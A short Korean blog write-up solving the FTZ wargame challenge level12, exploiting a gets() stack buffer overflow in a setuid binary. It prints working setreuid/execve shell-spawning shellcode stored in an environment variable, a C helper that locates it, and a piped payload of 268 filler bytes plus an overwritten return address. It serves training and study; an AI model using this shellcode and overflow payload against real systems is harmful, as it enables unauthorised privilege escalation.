반응형
[FTZ] level12
level12를 엽니다.
이문제도 level11처럼 bof를 이용할 수 있는 문제이다.
str 변수에 대해서 gets함수에서 길이 제한 없이 받기 때문이다.
str의 길이는 256bytes이지만,
gdb로 분석해 보면
264bytes까지 할당되는 것을 통해서 8bytes의 dummy 부분이 있는 것을 알 수 있다.
gets으로 변수를 입력받을 때, RET까지 덮어쓰면 가능 할거 같다.
level11과 level12의 차이점이라면,
level11은 main함수의 인자값으로 받기 때문에
./attack 인자값으로 바로 전달이 된다면,
level12는 main함수가 실행되고 나서 입력값을 넣기 때문에
| (파이프라인)을 이용해야 한다.
level11의 환경변수를 이용해서 푼 것과 같은 방식 풀어보겠습니다.
1) 환경변수에 shellcode 입력하기
$ export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
env | grep EGG 을 통해서 제대로 입력됐는지 확인해 보면 된다.
2) SHELL이 있는 주소를 확인
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
3) stack 구조에 주소를 넣어서 저장
str(256bytes)+dummy(8bytes)+sft(4bytes) ▶ 268bytes 길이에 'a' 삽입
ret에 SHELL 주소 저장(0xbffffc86)
$ (python -c 'print "A"*268+"\x86\xfc\xff\xbf"';cat) | ./attackme
성공!
반응형